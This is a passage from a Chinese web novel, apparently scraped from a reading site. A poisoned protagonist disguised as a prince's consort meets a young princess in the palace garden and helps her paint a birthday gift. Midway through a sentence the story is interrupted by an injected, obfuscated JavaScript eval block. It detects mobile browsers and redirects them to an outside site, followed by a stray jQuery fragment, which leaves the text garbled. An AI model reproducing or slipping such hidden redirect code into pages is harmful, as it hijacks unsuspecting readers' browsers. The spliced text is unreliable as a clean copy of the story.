离开景和殿后,楚思衡便一路深入皇宫,在天下第一轻功“流云踏雪”面前,宫墙与守卫皆形同虚设。不过半柱香功夫,楚思衡就已立于后宫禁地之中。
千秋宴在即,御花园的守卫比平日松懈许多,楚思衡索性收了轻功,沿着花木掩映的僻静小路缓步而行,未惊动半片落叶。
行至西南角的水榭回廊时,楚思衡忽然听到了一声轻叹——那声音稚嫩清越,不掺半分杂质,显然只是个遇到了什么烦心事的孩子。
楚文帝膝下子嗣稀薄,这个稚嫩年纪的唯有中宫所出的公主,名叫楚卿,是真正被楚文帝捧在掌心的明珠。
这小公主怎么独自一人在这儿?
楚思衡虽然不解,但也不想多生事端,正欲抽身离去,原本趴在栏杆边无精打采的小公主却突然直起身,心有所觉扭头冲楚思衡的方向喊道:“谁在哪里?”
清脆的嗓音在寂静的水榭格外清晰,楚思衡呼吸一滞,刚要施展轻功逃离,又听那小公主喊道:“锦烁!”
话音落下的瞬间,一道黑影便如鬼魅般掠至身前,剑刃出鞘的铮鸣声尚在耳边回响,一柄泛着寒光的长剑便横在了他的颈前。
持剑人一身黑衣,下半张脸被样式复杂的玄铁面具遮得严严实实,唯有那双明亮似星的眼眸带着警惕和探究的目光看着他。
楚思衡广袖微动,藏在袖中的雷火弹悄无声息滑入掌心。
“哇——!”
一道欢快的嗓音突然响起,打破了滞涩的空气。小公主不知何时跑了过来,那双杏眼亮晶晶地落在楚思衡身上:“好漂亮的衣裳呀!比宫里绣娘们做的还好看!”
小公主说着,突然踮起脚尖去摸楚思衡的衣袖,楚思衡心头一颤,连忙后退数步,借着行礼的姿势将掌心的雷火弹滑回袖中暗袋。
“臣妾参见公主殿下。”楚思衡垂首行礼,目光不着痕迹地扫过楚卿身后的黑衣侍卫,“臣妾初入宫闱,不知公主在此赏玩,冲撞了殿下雅兴,还望殿下恕罪。”
“第一次入宫?”小公主突然拍手雀跃,“哦!你就是母后这两天常说的那个很漂亮很漂亮的黎王妃……我的皇婶!”
楚思衡嘴角抽了抽,强装镇定道:“正是……”
“那便是一家人嘛!”楚卿扭头对身后的侍卫摆手道,“锦烁快收剑,别吓着皇婶!”
锦烁拿剑的手放下些许,却并未归鞘,斟酌片刻后还是道:“殿下,深宫重地,此人出现过于蹊跷,恐有问题。今日是皇后娘娘千秋,人多眼杂,万一混入刺客……”
“你瞧皇婶这身顶级云锦做成的衣裳,”小公主拽着楚思衡的广袖晃了晃,“没个十天八天的功夫根本做不出来,哪有刺客会穿这种费时费力价值连城的衣裳来皇宫行刺?”
锦烁瞬间被这话噎住了。
楚思衡顺势接话:“王爷与陛下有军务要议,臣妾不便停留,王爷体谅臣妾,便向陛下为臣妾讨了个恩赐,允臣妾在宫中随意走走。臣妾听闻御花园景色迷人,便过来了。”
“原来是这样呀,皇叔对皇婶真好!眼光也好!这身衣裳皇婶穿在身上比桃花还好看!”小公主的目光在桃夭云锦上流连,目最后却落到了楚思衡半掩的面庞上,“不过皇婶为何要戴面纱呀?皇婶穿得这么好看,肯定也是和母后一样惊艳四方的美人!”
楚思衡偏头轻咳了两声,嗓音沙哑:“多谢殿下夸赞……臣妾旧疾未愈,怕病气冲撞今日的各位贵人,便暂且掩面示人,请殿下见谅。”
“没关系,皇婶这样也好看!”
楚卿笑嘻嘻地拉过楚思衡的手,指尖传来的温热让楚思衡倏地失神,待他回过神来,已经被小公主按在了水榭的石凳上。
“殿下?”
楚卿踮脚站在石凳上,将桌上的纸笔颜料一一排开摆在楚思衡面前,随后扬起小脸满怀期待地看着他说:“皇婶可以帮卿儿一个忙吗?”
“帮忙?”楚思衡的语气不自觉放轻了几分,“你……想绘丹青?”
楚卿点点头道:“嗯!今日是母后生辰,卿儿想画一幅画送给母后,可宴席马上开始了,卿儿还是不知道该画什么。听母后说,皇婶出自一个琴棋书画样样精通的地方,可不可以帮卿儿想一下该画什么送给母后呀?”
楚思衡呼吸一滞,握笔的手止不住颤抖了起来。
原来这场鸿门宴的试探并非只有狗皇帝一个,连皇后也参与了……
“皇婶?”楚卿伸出手在楚思衡眼前晃了晃,“你在听吗?怎么不理卿儿了?”
楚卿清脆的嗓音拉回了楚思衡的思绪,他努力让自己保持冷静,可看着眼前粉雕玉琢的小脸,想到她的身份,那股滔天的恨意便怎么也遏制不住。
她姓楚,是楚氏皇族的血脉,是那狗皇帝放在掌心捧着的珍宝……
“咳咳!”强压的怒火在胸膛不断翻涌,突然带来一阵剧烈的咳嗽,楚思衡死咬着唇,硬生生将涌至喉间的血腥气咽了回去。
“皇婶怎么了?”楚卿惊慌失措握上楚思衡发抖的手,“是不舒服吗?卿儿叫太医来给皇婶看看吧!”
“多…多谢殿下关心……臣妾无碍,殿下不必担忧……咳咳!”
楚思衡勉强开口,却带来了更猛烈的一阵咳嗽。楚卿急得直跺脚,余光瞥过桌上的颜料,忽然灵光一闪,提着裙摆就往外跑。
锦烁意味深长看了楚思衡一眼,快步跟上小主子的步伐。
待脚步声远去,楚思衡终于再难支撑,他一把扯下面纱掏出帕子,雪白的帕子刚掩住唇,黑红色的血便如墨般在绢布上晕开,还带着不明的块状物体。
而楚思衡只是看了一眼便握紧帕子收回袖中,重新戴好面纱,用内力点过几处心脉大穴压制毒素。
噬春散已混服变异三次,时间不多了……
楚思衡强咽下喉间翻涌的血气,拿起桌上的笔蘸过朱砂,在宣纸上落下几行如鲜血般的劲瘦字体,连墨都来不及晾干便将纸对折收入袖中,欲要起身离去。
“皇婶——”
就在这时,楚卿捧着锦盒气喘吁吁跑了回来,身后的锦烁稳稳端着红木茶盘。
楚思衡动作一僵,默不作声调整好呼吸,装作刚刚平复咳嗽的模样。
楚卿贴到楚思衡身边示意锦烁放下托盘,而后打开锦盒捏了一块晶莹剔透的梨膏糖,又捧起茶盏,一并塞到了楚思衡手里。
“皇婶快含着,再喝杯热茶润润喉,这样就不难受啦!以前卿儿生病母后都是这么做的!”
楚思衡怔怔望着手里的糖和热茶,心脏某处似被轻轻捏了一下。
罢了。
楚思衡将梨膏糖送进嘴里心想,终究只是个孩子,何必把怒火倾泄到她身上?
“皇后娘娘可有什么喜好?”
楚卿正托腮望着他出神,闻言眨了眨眼,好半天才道:“荷花!母后最爱荷花了!父皇因此命人在宫里挖了两个超大的荷花池,一个是今日设宴的瑶华台,还有一个在乾元宫前,一到夏季荷花都开得特别好看!”
楚思衡在心中暗自记下这两处地名,而后提笔蘸好颜料递给楚卿道:“皇后娘娘千秋,自是不缺名人作画,殿下不妨投其所好,亲手绘一幅娘娘最喜爱的荷花,最能体现心意。”
楚卿豁然开朗,接过笔便开始作画,墨笔挥洒,一幅潦草但不失灵魂的荷花图很快完成。
“画好啦!皇婶来看!”小公主献
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171944|180721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宝似的把画纸举到楚思衡面前,期待他的夸奖。
楚思衡抬手轻轻抹去溅到她脸上的颜料,夸赞道:“很好看,娘娘一定会喜欢的。”
楚思衡忽而一顿,伸手指了指画的中心说:“不过这里还有些空白,娘娘还有什么喜欢的吗?”
小公主咬着笔杆歪头沉思,很快有了答案:“父皇!母后还喜欢父皇!”
“那便添上陛下可好?”
楚卿忽然失落下来:“可是……卿儿不会画父皇。”
“没关系,皇婶帮你一起画。”楚思衡安慰着她,起身走到楚卿身后,俯身握住她的手,带着她一笔一画绘图。
一直站在小公主三步外的锦烁忍不住探头看来,这一看差点没被把眼珠子看出来——
只见满纸粉嫩荷花的正中央多了一团墨墨迹,随着不断落笔而逐渐延伸出头,四肢,尾巴……一只躺在荷花池中酣睡的黑狗形象便完成了。
这画功……
这恶趣味……
“噗…”锦烁忍不住溢出一声轻笑,瞬间吸引二人回了头。
“锦烁,你刚才是笑了吗?”楚卿倏地回头,像是发现了什么不得了的事,“你还说你不会笑!”
“属下…属下方才是……”锦烁清了清嗓子说,“是夜间风寒大,嗓子忽然不太舒服。”
“那你也要吃糖了!”楚卿不由分说打开锦盒,“不然明天睡醒你的嗓子该疼了!”
锦烁上前摁住锦盒,婉拒道:“多谢殿下厚爱,但这不合规矩。”
楚卿撇撇嘴回头,宣纸上的黑狗已然从形似到了神似——它平躺漂浮在荷花池上,双手交叠放在胸前,闭着眼一脸惬意,似是在享受阳光,憨态可掬的模样十分讨小公主喜欢。
楚卿捧起画打量着问:“这是父皇吗?”
“嗯。”
“可父皇为何是只狗狗呀?”
“天下人皆如此形容陛下,殿下喜欢吗?”
“嗯!喜欢!狗狗最可爱了!皇婶说的对,父皇就和狗狗一样可爱!”
身后的锦烁再次“嗓子不适”了起来,楚思衡回眸,贴心道:“锦侍卫,咳得这样厉害,还是含块梨膏糖吧。”
“……是。”这几个字几乎是锦烁从牙缝里挤出来的,“多谢王…王妃关心。”
楚思衡唇角微扬,起身理了理衣袖对楚卿道:“殿下,宴席时辰快到了,臣妾得先行告退了。”
“嗯!宴席见!”
“一会儿宴席见面,还请殿下莫要把臣妾见过殿下的事说出去。”楚思衡压低声音说,“你黎皇叔凶得很,若是他知道了定要吃醋。”
楚卿郑重点头,露出一个“我明白”的表情,目送楚思衡消失在了回廊拐角。
确保四下无人后,楚思衡便借轻功翻墙而出,绕道回了景和殿,再次从那扇偏窗返回殿内,全程没有惊动任何人。
他刻意提早了半盏茶时间回来,却还是撞见了最坏的情况。
黎曜松阴着脸坐在榻边,看见楚思衡回来立马起身上前,摁住楚思衡的双肩质问:“‘在这儿乖乖等着王爷回来’?我的好王妃,你‘乖乖’等哪儿去了?”
楚思衡挣开肩上的重量,从袖中摸出一把匕首在黎曜松面前晃了晃说:“去禁军的武器库参观了一下,不行吗?王爷可说过不管我带匕首的。”
黎曜松顿时语塞。
他紧盯着那把匕首,忽然余光瞥见什么,一把抓住楚思衡的胳膊将手伸入袖中,摸出了一块帕子。
雪白的绢布展开是已经干涸的黑红血迹,还有些许块状物体凝固其中,看起来十分骇人。
黎曜松瞳孔骤缩:“你……”
…